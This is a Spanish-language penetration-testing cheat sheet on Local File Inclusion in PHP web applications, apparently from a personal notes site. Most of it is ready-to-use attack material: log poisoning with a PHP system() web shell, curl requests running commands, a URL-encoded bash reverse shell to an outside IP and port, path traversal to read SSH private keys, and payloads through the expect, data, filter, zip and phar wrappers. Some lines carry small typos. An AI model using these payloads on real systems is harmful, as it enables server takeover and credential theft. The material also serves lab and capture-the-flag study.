Local File Inclusion (LFI)
Definición
LFI (Local File Inclusion) es una vulnerabilidad de seguridad que ocurre cuando una aplicación web permite a los usuarios incluir archivos en el servidor a través de parámetros de entrada sin una validación adecuada. Esto puede permitir a un atacante leer archivos sensibles, ejecutar scripts maliciosos o incluso tomar el control del servidor en ciertos casos.
LFI: Podemos CARGAR y EJECUTAR archivos locales en el contexto del usuario el cual está corriendo el servidor.
Impacto
Ejecución de código en el servidor web.
Ejecución de código en el cliente (como JavaScript), lo que puede causar ataques como XSS.
Denegación de servicio (DoS).
Divulgación de información confidencial.
LFI TO RCE via Log Poisoning
Rutas de logs:
Windows: C:\xampp\apache\logs
Linux: /var/log/apache2/access.log
Ejemplo en Linux:
curl https://r4z0r.gitbook.io/index.php?page=../../../../../../../../../var/log/apache2/access.log
Respuesta HTTP:
192.168.50.1 - - [12/Apr/2022:10:34:55 +0000] "GET /index.php?page=admin.php HTTP/1.1" 200 2218 "-""Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0"
Paso 1: Envenenar access.log
// Insertar en user agent: <?php echo system($_GET['cmd']); ?>
GET /index.php?page=admin.php HTTP/1.1
HOST: r4z0r.gitbook.io
User-Agent: Mozilla/5.0 <?php echo system($_GET['cmd']); ?>
Accept: ….
Paso 2: Ejecutar el código con curl
curl https://r4z0r.gitbook.io/index.php?page=../../../../../../../../../var/log/apache2/access.log&cmd=whoami
// en caso que se rompa la consulta con espacio usar %20 -> ls%20-la
Paso 3: Reverse shell
curl https://r4z0r.gitbook.io/index.php?page=../../../../../../../../../var/log/apache2/access.log&cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.119.3%2F4444%200%3E%261%22
Recomiendo utilizar: https://www.revshells.com/, de las mejores páginas para crear reverse shells.
LFI en Windows:
La explotación de LFI en Windows sólo difiere de Linux en lo que respecta a las rutas de los archivos y la ejecución del código. El fragmento de código PHP que utilizamos en esta sección para Linux también funciona en Windows, ya que utilizamos la función del sistema PHP que es independiente del sistema operativo subyacente. Cuando utilizamos Log Poisoning en Windows, debemos entender que los archivos de registro se encuentran en rutas específicas de la aplicación. Por ejemplo, en un objetivo que ejecuta XAMPP , los registros de Apache se pueden encontrar en C:\xampp\apache\logs\ .
LFI To RCE - Abusing /proc/self/fd/X + Log Poisoning
Video explicativo de Savitar: https://www.youtube.com/watch?v=4VnatIievBE&ab_channel=S4viOnLive%28BackupDirectosdeTwitch%29
Finding private keys
En algunas situaciones no tenemos el fichero id_rsa, por lo que debemos consultar el authorized_keys y ver qué tipo de clave es:
https://r4z0r.gitbook.io/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/home/anita/.ssh/authorized_keys
Revisar que tipo de claves hay, si muestra ecdsa no va a ser id_rsa, va a ser id_ecdsa:
/home/userE/.ssh/id_ecdsa.pub // public key
/home/userE/.ssh/id_ecdsa // private key
Wrappers PHP
PHP Expect Wrapper
https://r4z0r.gitbook.io/index.php?page=expect://whoami
PHP Data Wrapper
https://r4z0r.gitbook.io/index.php?page=data:text/plain;,<?php echo shell_exec($_GET['cmd']);?>
curl "https://r4z0r.gitbook.io/index.php?page=data://text/plain,<?php%20echo%20system('ls');?>"
En caso de que haya firewall y no te permita meter comandos raros.
echo -n '<?php echo system($_GET["cmd"]);?>' | base64
curl "https://r4z0r.gitbook.io/index.php?page=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==&cmd=ls"
https://r4z0r.gitbook.io/index.php?page=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==&cmd=uname%20-a
PHP Filter Wrapper
https://r4z0r.gitbook.io/index.php?page=php://filter/resource=admin.php
curl https://r4z0r.gitbook.io/index.php?page=php://filter/convert.base64-encode/resource=admin.php
curl https://r4z0r.gitbook.io/index.php?page=php://filter/convert.base64-encode/resource=/var/www/html/backup.php
http://127.0.0.1/index.php?file=php://filter/convert.base64-encode/resource=index
http://127.0.0.1/index.php?file=php://filter/convert.base64-encode/resource=upload
curl 'http://127.0.0.1/index.php?file=php://filter/convert.base64-encode/resource=upload' -s | base64 -d
PHP Zip Wapper
echo "<?php system(%_REQUEST['cmd']); ?>" > shell.php
zip -0 payload.zip payload.php;
mv payload.zip shell.jpg;
hhttps://r4z0r.gitbook.io/index.php?page=zip://shell.jpg%23payload.php - donde payload.php es el contenido del zip
// ziper proving grounds
http://192.168.181.229/index.php?file=zip://uploads/upload_1716303041.zip%23shell&cmd=whoami // Donde shell es la shell.php que subimos y cmd es el parámetro. En este caso no había que poner shell.php porque ya lo agregaba solo a la extensión
http://192.168.181.229/index.php?file=zip://uploads/upload_1716303311.zip%23php-reverse-shell
Zip Wrapper - S4vitar: https://www.youtube.com/watch?v=6IO3gAtP3dc&ab_channel=S4viOnLive%28BackupDirectosdeTwitch%29
PHP Phar Wrapper
// subir un zip y cargarlo con phar - máquina resourced de hackthebox, reverse.php es la de pentest-monkey.
zip rev.zip reverse.php
itrc.ssg.htb/index.php?page=phar://uploads/faeea173dc4153f2e1c07a63da1917d51087bc30.zip/reverse
Recursos
Última actualización